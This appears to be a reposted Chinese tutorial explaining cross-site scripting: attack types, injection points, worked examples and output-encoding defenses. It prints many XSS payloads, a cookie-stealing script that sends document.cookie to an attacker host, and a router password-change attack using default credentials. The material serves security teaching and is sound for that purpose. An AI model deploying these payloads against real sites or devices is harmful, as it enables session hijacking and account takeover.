55

“黑客”必学攻击之“跨站脚本攻击”

 5 years ago
source link: http://netsecurity.51cto.com/art/201812/588423.htm?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

最近很多小伙伴们看了我的文章给我私信说能不能讲讲跨站脚本攻击技术,今天就以本篇文章详细讲解一下黑客常用的攻击手法"跨站脚本攻击"。

一、 什么是跨站脚本攻击?

官方定义:(Cross Site Scripting),为了不和(Cascading Style Sheets, )的缩写混淆,故将跨站脚本攻击简称为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。

通俗理解:XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

二、 XSS攻击带来的危害

这种漏洞(XSS)攻击通常用于发动cookie窃取、恶意软件传播(蠕虫攻击),会话劫持,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码注入到网站页面中,这样"受害"者的浏览器就会执行攻击者编写的恶意脚本。这种漏洞容易找到,但很难修补。

具体危害如下:

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击

三、xss产生根源和攻击条件

跨站点脚本漏洞的主要原因:是程序员对用户的信任,开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体,用制造出一种行之有效的XSS过滤器是一件比较困难的事情。但是这只是相对的,对用户输入数据的"编码"和"过滤"在任何时候都是很重要的,我们必须采取一些针对性的手段对其进行防御。

实施XSS攻击需要具备两个条件:

  • 需要向web页面注入恶意代码;
  • 这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子:

nINRRfu.jpg!web

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)

再来看一下面这段代码:

em2UBvU.jpg!web

相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:

yQRVF3R.jpg!web

也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:

http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="

四、XSS攻击的分类

XSS攻击可以分成两种类型:

  • 非持久型攻击
  • 持久型攻击

非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

也可以分成三类:

1. 反射型XSS攻击

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

简单例子:

正常发送消息:http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:http://www.test.com/message.php?send= !

接收者接收消息显示的时候将会弹出警告窗口

2. 存储型XSS攻击

又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

简单例子:

从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板

留言板表单中的表单域:

<input type="text" name="content" value="这里是用户填写的数据"> 

正常操作:

用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:

  • 攻击者在value填写 【或者html其他标签(破坏样式。。。)、一段攻击型代码】;
  • 将数据存储到数据库中;
  • 其他用户取出数据显示的时候,将会执行这些攻击性代码

3. DOMBasedXSS(基于dom的跨站点脚本攻击)

基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

简单例子:

YBF32eY.jpg!web

这个例子是个欢迎页面,name是截取URL中get过来的name参数

正常操作:http://www.vulnerable.site/welcome.html?name=Joe

非正常操作:http://www.vulnerable.site/welcome.html?name=

将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

五、跨站脚本漏洞利用的过程

XSS的主要目标是通过把攻击者选择的JavaScript、VBScript或者其它为浏览器所接受的脚本语言注入到(放进)某些Web应用程序之中。只要攻击者可以将脚本植入有弱点的Web应用程序中的任何地方,浏览器就会认为这个脚本是来自该有弱点的Web应用程序,而非非出自攻击者之手。

这样的话,该脚本就能够在这个有弱点的Web应用程序的域中运行了,并能进行下列活动:有权读取那个有弱点的Web应用程序使用的Cookie;能够看到该有弱点的Web应用程序提供的页面的内容,甚至能将它们发送给黑客;改变有弱点的Web应用程序的外观;回调运行有弱点的Web应用程序的服务器。

大体上,跨站点脚本攻击可以分为三步进行:

  • HTML注入:我们将介绍把脚本注入到Web应用程序的各种可能的方法。所有HTML注入范例只是注入一个JavaScript弹出式的警告框:a_lert(1)。
  • 干坏事。当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。
  • 诱捕受害者:如何强制或者诱使受害者执行恶意JavaScript代码。

HTML注入简介

将HTML和(更为重要的)脚本代码注入Web应用程序的方法简直太多了。如果某个Web应用程序的HTTP响应中"照搬"了在HTTP请求中输入的内容,例如尖括号、圆括号、句号、等号等,那么说明这个Web应用程序和域具有HTML注入漏洞,并且该漏洞十有八九可以用于XSS。

本节将为读者介绍最常见的HTML注入方法,但是无法包括所有方法,因为这些方法是在太多了。对于大多数小型至中型的网站来说,这些技术很可能仍然奏效。只要有耐心,那么您或许也能够使用其中的一种技术成功应用于一个大型Web站点。

下面我们将分门别类的介绍各种注入方法。

1. 传统的反射式和存储式HTML注入

传统的XSS攻击是一种反射式的HTML注入攻击,借此,一个Web应用程序接受在HTTP请求中的用户输入。该Web应用程序会返回一个HTTP响应,其主体中将包含原封不动的用户输入。如果该服务器的响应跟用户的原始输入完全一致,那么这些用户输入就会被浏览器当作有效的HTML、VBScript或者JavaScript进行解释。考虑下列的服务器端的PHP代码:

展示了这段代码放置到http://publicpages.daxue.edu/~someuser/MyPhp.php上后,客户端看到的页面内容。

iQNnu2b.jpg!web

一个简单的PHP脚本,用以接收用户输入(MyPhp.php)

当用户点击"提交查询"按钮时,就会生成下列GET请求:

http://public-pages.daxue.edu/~someuser/MyPhp.php?input=hahaha

这个PHP应用程序看到用户输入的"hahaha"后,将响应一个页面,如图所示。

fIFrY3m.jpg!web

用户输入"hahaha"后MyPhp.php回复的响应

下面显示的是上图中看到的页面的HTML 源代码,为醒目起见用户输入的内容这里以蓝色字体显示。

您输入的内容为: 'hahaha'.

注意,实际上这里用户可以输入任何东西,例如〈 script 〉 a_lert( 1 )〈 / script 〉、〈 body onload = a_lert( 1 ) 〉、〈 img src = x onerror = a_lert( 1 ) 〉 或别的东西来把JavaScript代码注入到该页面。如果输入 的话,将向服务器发送下列GET请求:

http://publicpages.daxue.edu/~someuser/MyPhp.php?input=

如前所述,这个PHP应用程序只是把用户输入放到返回的响应页面中。这时候浏览器会把这些用户输入的内容当作JavaScript指令,同时认为该脚本来自服务器,这可真是应了那句老话"拿着鸡毛当令箭"了,所以浏览器就会执行这些JavaScript代码。下图展示了用户看到的样子。

Bram63F.jpg!web

上图 用户输入" "后MyPhp.php回复的响应

[NextPage]上图中显示的页面的源代码如下所示,其中用户输入用蓝色字体表示。

您输入的内容为: ' '.

这是将 注入http://public-pages.daxue.edu/~someuser/MyPhp.php得到的结果。这个例子是一种典型的反射式的HTML注入,因为用户在HTTP请求中发送JavaScript代码,同时Web应用程序立即响应(反射回)一个完全相同的JavaScript代码。只要用户单击了下列链接,这个脚本就会执行:

http://publicpages.daxue.edu/~someuser/MyPhp.php?input=

从攻击者的角度来看,利用注入的ML代码让恶意的web页面完成单击或者指定次数的点击是非常重要的。假设前面的PHP应用程序只接受POST请求,而不接受GET,如下所示:

在这种情况下,攻击者无法像上面的GET请求那样直接通过诱骗受害者点击一个链接来注入HTML代码;现在,他们必须采取一些额外的步骤。为此,攻击者可以创建下列HTML页面:

当用户单击了指向上述HTML页面的链接时,就会对http://public-pages.daxue.edu/~someuser/MyPhp.php进行HTML注入。当然,攻击者也能利用HTML注入干别的坏事,而不仅仅象征性地调用一个JavaScript的弹出窗口。

"第二步:做坏事"部分将解释攻击者除了弹出一个窗口外还能做些什么。

存储式HTML注入跟反射式HTML注入非常相似,唯一区别在于攻击者将脚本植入Web应用程序后,这些脚本会被Web应用程序存储到一个可以检索的地方。例如,对于允许用户张贴和阅读消息的网络论坛,攻击者可以在张贴消息时注入HTML代码,然后其它用户阅读这则含有脚本的消息时,其中的脚本就会执行。

2. 定位存储式和反射式HTML注入点

为了寻找存储式和反射式HTML注入点,可以尝试在所有表单输入以及GET或者POST请求的所有参数中注入脚本。我们要假设参数/值对中的值都可能有漏洞。甚至尝试在新生成的参数中注入HTML代码,如下所示:

〈 script 〉 a_lert ( ' parameter ' )= 不起作用,因为这些测试字符串并不出现在响应的HTML主体区。举例来说,假如向http://search.engine.com/search?p= 发送的这个请求返回的响应中,其预填充表单字段内是我们的HTML注入字符串,如:

遗憾的是,脚本标签会被作为用于表单输入字段的字符串,所以无法执行。相反,尝试http://search.engine.com/search?p="> 的话,会得到如下所示的HTML应答:

〈 form input='text' name='p' value='〈 

那么保不住攻击者可以注入下列内容:

〈 /title 〉〈script 〉 a_lert( 1 ) 〈 /script 〉 

这样一来就摆脱了title标签。USERINPUT3被放在一个式样标签中,任何人都可以在IE中设置USERINPUT3成下面的样子:

black; background: url( ' javascript:a_lert( 1 ) ' ); 

于是他就能够在Firefox使用它了:

1: ( a_lert( 1 ) ) 

同样的,有时候用户输入会作为其它的标签的一部分出现在式样参数中,如下所示:

如果您可以将USERINPUT3设为下面的值,那么就能在IE中运行JavaScript了:

javascript : a_lert(1) 

或者对于Visual Basic爱好者,可以这样使用:

vbscript:MsgBox(1) 

Firefox不接受带有JavaScript:协议处理程序的background:url()。然而,Firefox允许JavaScript作为表达式来执行,在Firefox中将USERINPUT3A设为下列值:

); 1:(a_lert(1) 

USERINPUT4可以直接利用,只要将USERPINUT4设为:

';a_lert(1); 

USERINPUT5被深深嵌入到JavaScript内部。为了插入(确保会执行的)a_lert(1)函数,您必须把a_lert(1)放到所有代码块之外,并保证JavaScript代码的前前后后都是合法的,如下所示:

')){}a_lert(1);if(0) 

A_lert(1)之前的文本完成了原先的if语句,因此能确保a_lert(1)函数总是被执行。a_lert(1)之后的文本创建了一个if语句用于剩余代码块,所以脚本标签之间的全部代码都是合法的JavaScript代码。如果不这样,JavaScript就会因为语法错误而无法解释执行。

您可以使用一些诡计来把JavaScript注入到USERINPUT6中,例如,可以使用下面的方法:

'> < scriptscript="">a_lert(1)< criptcript=""> 

或者,如果不允许使用尖括号,则使用一个JavaScript事件处理程序,例如onclick事件处理程序,如下所示:

' onclick='a_lert(1) 

USERINPUT7 还可以是这样:

' >< scriptscript="">a_lert(1)< criptcript=""> 

或者:

' style='x: ( a_lert ( 1 ) ) 

甚至更简单一些:

javascript: a_lert( 1 ) 

对于USERINPUT7的前两条利用方法能保证脚本在装入页面时执行,最后一种方法要求用户单击链接。您可以把它们都试一遍,看看是不是在某些情况下有些字符和字符串是不允许的。

USERINPUT8也面临类似的HTML注入字符串。下面是使用事件处理程序的最佳方式:

notThere' onerror='a_lert( 1 ) 

XSS防御方法通常是对具有潜在恶意性的字符进行转义或者编码。举例来说,如果用户输入 到一个文本字段,服务器可能以下列转义后的字符串作为响应:

[NextPage] 

根据转义后的字符串的所在位置,这些字符串将以本来面目出现并且不会执行。转义方法比较复杂,所以将在后面的对抗措施中加以详细讨论。大多数转义例程不是忘记对具有潜在恶意性的字符和字符串进行转义,就是使用了错误的编码方法进行换码。例如USERINPUT9,其事件处理程序把HTML实体编码为ASCII,所以任何人可以用下列两个字符串上演相同的攻击:

x'); a_lert ( 1 ); 

以及:

x'); a_lert( 1 ) 

最后,USERINPUT10可以用事件处理程序利用,并突破输入标签,例子如下所示:

x onclick= a_lert ( 1 ) 

这个例子说明,用户提供的字符串可以放到HTTP应答中的任何地方,看来真是一切皆有可能呀!

如果您在任何前面的实例中成功进行了HTML注入,那么该HTML注入就可用于在那个域上的任何地方的XSS。您可以用多种不同的方法来向Web应用程序注入JavaScript。如果你的尝试曾经导致页面格式被破坏,诸如截断页面、显示了除您注入以外的脚本,那么很可能就是找到了一个XSS漏洞。

3. 重定向器中的反射式HTML注入

HTML注入的另一个大舞台是重定向器。有些重定向器允许用户重定向到任何URL。 遗憾的是,JavaScript:a_lert(1)是一个合法的URL。许多重定向器会对URL进行解析,以确定重定向到那里是否安全。这些解析器以及他们的程序员并不总是人们想象的那么聪明,所以像下面的URL:

javascript://www.anywhere.com/%0da_lert( 1 )

以及这个:

javascript://http://www.trustedsite.com/trustedDirectory/%0da_lert( 1 )

可能被接受。在上面的例子中,任何字符串都可以放置在JavaScript注解所用的双斜杠之间以及URL编码的换行符(%0d)之间。

4. 移动式应用中的HTML注入

有些流行的Web应用程序被移植到移动通信领域。这些移动式应用一般具有相同的功能,但是安全特性更差,并且仍然可以通过诸如IE 以及Firefox之类的浏览器进行访问。 因此,它们是HTML注入攻击以及跨站请求伪造的理想攻击目标。

通常情况下,移动式应用作为主要的Web应用程序运行在相同的域上,因此移动式应用中的任何HTML注入都能够访问整个域,包括运行在该域上的主要的Web应用程序或者其它的Web应用程序。

5. 在Ajax响应以及错误信息中的HTML注入

并非所有HTTP应答都会显示给用户。类似AJAX响应以及超文本传输协议(http)错误消息这些页面通常会被开发人员所忽视。开发人员可能没有考虑为AJAX响应提供HTML注入保护,因为这些请求通常不是由用户直接使用的。然而,攻击者可以用先前的代码片断模仿AJAX的GET以及POST请求。

同样的,超文本传输协议(http)错误响应,诸如HTTP 404(Not Found)、HTTP 502(Server Error)等等,通常也会被开发人员所忽略。开发人员倾向于假定一切都是HTTP 200(OK)。您可以尝试触发其它的响应,而非仅仅HTTP 200,然后试着注入脚本。

6. 使用UTF-7编码进行HTML注入

如果用户的IE自动选择编码集,那么攻击者就能规避大多数HTML注入预防措施。就像前面提到的那样,HTML注入的预防措施一般依赖于对潜在的有害字符进行转义处理。然而,UTF-7编码技术使用了无法正常转义的通用字符,而这些通用字符有时无法被某些Web应用程序进行换码。 的UTF-7转义版本将是下面的样子:

+ADw-script+AD4-a_lert(1)+ADw-/script+AD4- 

注意,这是一种不常见的攻击,因为用户一般不会打开自动选择编码技术选项。当然,也存在其他的利用字符编码可变长度的UTF编码攻击技术,但是这要求对UTF有着深入广泛的理解,所以它超出了本文的讨论范围。然而,这个问题说明其它编码(例如MIME类型)的疏漏也是能引起HTML注入的。

7. 利用MIME 类型不匹配来进行HTML注入

IE具有许多令人惊讶的未公开特性,例如,IE7 以及之前的版本尝试加载一个图像或者其它的非HTML的响应并且失败时,它会将该响应作为HTML对待。为了弄明白这个情况,我们可以创建一个文本文件,并包含下列内容:

之后,将其保存为alert.jpg,然后在IE的URL地址栏中或一个iframe中装载的这个"图像",这就会导致这里的JavaScript被执行。

注意,如果该文件是从一个图像标签加载的话,它就不会作为脚本执行了。

一般说来,当您试图上载这样的一个文件到一个图像托管服务时,该服务将拒绝这个文件,因为它根本就不是一个图像。但是图像托管服务通常情况下会忽视文件的扩展名,而只通过文件的幻数(开始几个字节)来确定文件类型。

因此,攻击者可以避开它,方法是用GIF注释中的HTML来创建一个GIF图像,然后将这个GIF保存为.jpg文件扩展名的文件。下面是一个单像素的GIF文件,如下所示:

00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a..........|  
00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |...!.. .| 
00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,...........D..;| 

将其命名为test.jpg,并在IE中加载它,这会导致执行这段JavaScript。这也是注入Flash跨域政策的一种好方法。只要把Flash安全策略的XML内容放入GIF注释,并保证这个GIF文件不包含扩展的ASCII字符或者字节NULL即可。您还可以把HTML注入到未压缩的图像文件(诸如XPM以及BMP文件)的图像数据部分,而不是注解中。

8. 使用Flash进行HTML注入

在大多数HTML注入情形中,攻击者可以注入任意的HTML。举例来说,攻击可以注入一个对象和/或嵌入一个标签来加载该域上的Flash应用程序。 下面是一个例子:

这里的HTML有些繁琐,但是它将JavaScript应用程序具有的控制权赋予一个Flash应用程序,例如(经过ExternalInterface类)读取Cookie、(经过ExternalInterface类)改变web页面外观、(经过XML类)读取用户私人数据以及(经过XML类)以受害者的名义建立HTTP请求。

然而,Flash应用程序有时候会提供更多的功能。例如,flash应用程序可以通过Socket类创建原始的套按字连接。这允许攻击者构造他们的完整的HTTP数据包(包括通过ExternalInterface类窃取Cookie)或者连接到电脑允许的其它端口上。

注意,Socket连接只能建立到达恶意脚本所源自的域的连接,除非攻击者为完成攻击还反射了一个不安全的跨域策略文件。

有些开发人员通过把响应的MIME类型设置为text/plain或者除text /html以外的任何东西来防止AJAX响应被注入HTML。HTML注入将无法进行,因为浏览器不会把响应解释为HTML。然而,Flash并不关心跨域策略文件是哪种MIME类型,所以攻击者有可能使用AJAX响应来反射一个不安全的跨域策略文件。

这允许恶意的Flash应用程序以受害者名义向有弱点的Web应用程序发送请求,读取该域上的任意的页面,并创建到达该域的套按字连接。这种类型的攻击的威胁相对较弱,因为恶意的Flash应用程序不能窃取Cookie(但是它仍然可以以用户的名义来完成任何动作),而且它不能在受害的用户前模仿成应用程序,除非恶意的Flash应用程序将用户重定向到一个攻击者控制下的域。

然而,到目前为止,HTML注入所能做的最邪恶的事情还是在受害用户目前把自己装扮成Web应用程序,当然,通过其它方法也可以达到此目的,比如反射一个不安全的跨域策略文件,并使用ActionScript的XML类发送HTTP的GET和POST请求并且读取响应。 在下一节中,我们描述攻击是如何作恶的。

六、XSS攻击实例分析

例1、简单XSS攻击

留言类,简单注入javascript

有个表单域:

<input type="text" name="content" value="这里是用户填写的数据"> 
  • 假若用户填写数据为:
<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>) 
提交后将会弹出一个foolish警告窗口,接着将数据存入数据库 等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

【将数据改成html标签进行攻击,则会将原本的样式打乱。】

例2、盗取cookie

网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com test88.com中的表单,xss.html

MryAr2Z.jpg!web

恶意攻击者插入相应代码

mUreaev.jpg!web

数据(攻击代码)插入数据库 攻击者控制的主机中设置接收盗取的cookie

naUruai.jpg!web

开始模拟测试

(1) test88.com中设置生成sessionID代码

(2) 客户端访问上面代码并生成自己的sessionID

(3) 客户端访问xss.html

#下面为模拟被攻击后取出数据的xss.html代码(显示数据)

<!DOCTYPE html>  
2 <html>  
3 <head>  
4 <title>xss攻击</title>  
5 <meta charset="utf-8">  
6 </head>  
7 <body>  
8 <form action="./test99.php" method="post">  
9 留言:<input type="text" name="content" value=""><br/>  
10 <input type="submit" name="" value='提交'>  
11 </form>  
12 <br/>留言记录:<br/>  
13 <script>  
14 var Str=document.cookie; //获取cookie  
15 var a =document.createElement('a'); //创建a标签  
16 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机  
17 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片  
18 document.body.appendChild(a); //将标签添加到页面中  
19 </script>  
20 </body>  
21 </html> 

u6ju2ef.jpg!web

(4) 客户端不小心点击到图片,sessionID将被盗

NbIfIzb.jpg!web

# vi xss.txt

ny6RNzF.jpg!web

【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】

例3、渗透路由器

对于处于内网中的用户,我们可以利用XSS来更改路由器密码。我们可以借助默认的密码来登陆路由器,比如URL:,其实很多路由器都是使用默认密码,我这里这台也是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件Live HTTP headers获取请求头,如图所示:

IBv2ymi.jpg!web

因此我们可以在head代码模块中写入以下语句:

<script src="http://localhost/1.js"></script> 

其中1.js源码如下:

window.open("http://admin:[email protected]/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=password&Save=%B1%A3+%B4%E6"); 

下面我们试着用登陆,结果如图所示:

363eQna.jpg!web

可见密码已经修改成功!

七、如何防御"跨站脚本攻击"

防御XSS有一个原则:

宁死也不让数据变成可执行的代码,不信任任何用户的数据,严格区分数据和代码

既然是将数据给注入到代码里面变成可执行代码,那么我们就找出所有可能的地方,绝大多数XSS发生在MVC模式里面View层。

我们来看看过程:

VJF3uqr.jpg!web

其中:A B C D E F 标记的地方则代表可能会产生XSS

我们分不同上下文来进行不同的编码函数,就可以很肯定的断绝在这些地方产生XSS,只要情况不特殊(特殊如:宽字节 base64编码等),就一定可以保证安全。

A: 后端》》》CSS

输出到CSS通常不会出现什么XSS,但是如果CSS里面有可能的用户完全可以控制的变量,如果我可以自定义 style 属性而且没过滤,或者可以直接控制某段CSS。

<p style="background-image: url(javascript:alert(/xss/));">//同理<style>#id { background-image: url(javascript:alert(/xss/));}</style> 

这样就可以利用伪协议来实现。

解决方法:

对style属性里面的数据进行严格的检查,并且对于用户输出到xss里面的内容进行适当的CSS编码。

B: 后端》》》》Javascript

这种直接输出的js又不过滤简直就是老掉牙的xss漏洞。

var x =""; 
//如果假设用户可以控制x变量 
//那么我输入 ";alert(/xss/);// 
//那么这串代码会变成 
var x ="";alert(/xss/);//"; //红色部分是用户输入的字符 
//成功弹出 提示框,执行了额外的代码 

当然还有一堆方法实现各种xss,各种姿势。所以这种是最最最简单的xss也是最容易被利用的。

解决方法:

对其进行严格的JavascriptEncode,将某些字符转义,如 " 变成 " ,' 变成 ' 等等(不止这些) 防止用户逃脱你的 双(单)引号,也可以防止其他姿势注入。

C: Javascript》》》生成HTML元素或添加html元素属性

如 js 给

<div> 

添加height 属性 变成

<div height="200px"> 

对于这个时候,从js输出数据到属性或 innerHTML/document.write 等函数生成任何元素,都要视为一次可能的XSS输出。因为上下文已经不一样了,这次JavascriptEncode是不对的。否则你只能保证数据在js里面不会被注入,而在html的话,就不一定了。

解决方法:

应该使用 HTMLEncode 编码,保证你从js输出到HTML的元素和属性不会脱离你的控制。

D: Javascript》》》输出到HTML元素里面的事件 或其他任何动态执行js的地方

列如下列一段代码,如果foo是从js执行之后动态输出到html里面的。foo是用户可以控制的。

<script>document.write("<img onload=' " + var + " '>");</script><img onload='alert("var");'> 

那么我完全可以跟上次一样,输入 ";alert(/xss/);//, 即使你第一次从后端到js使用了一次jsEncode,但是很遗憾,输出到html事件(write函数)后代码会转义回来,所以我依然执行了。

则会变成:

<img onload='alert("";alert(/xss/);//");'> 

可以看见,当你加载完毕之后,恭喜执行我的恶意代码。

解决方案:

使用 JavascriptEncode,对事件里面的js代码进行编码。这里也必须视为一次可能的XSS输出。

E:后端 》》》》输出到HTML元素里面的事件 或其他任何动态执行js的地方

列简直可以视为跟D是一模一样的,所以你只需要理解D情况,那么这个也就自然可以理解了。

<img onload='var'> 

如果var是后端直接未经过处理输出,则输入 ';alert(/xss/);// 则触发XSS

解决方法:

也是对var进行JavascriptEncode。

F:后端 》》》》生成HTML元素或添加html元素属性

与C情况也是一模一样。只是输出源不同了而已,原理模式都一样。

<div> 
$var 
</div> 

如果$var是后端输出的,那么我可以输入

<script>alert(/xss/)</script> 

<img scr='' onerror='alert(/xss/)'> 

总之这样很容易注入XSS。

解决方法:

对var变量进行HtmlEncode,那么我就无论如何也构建不了<>任何元素了。也就不可能有


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK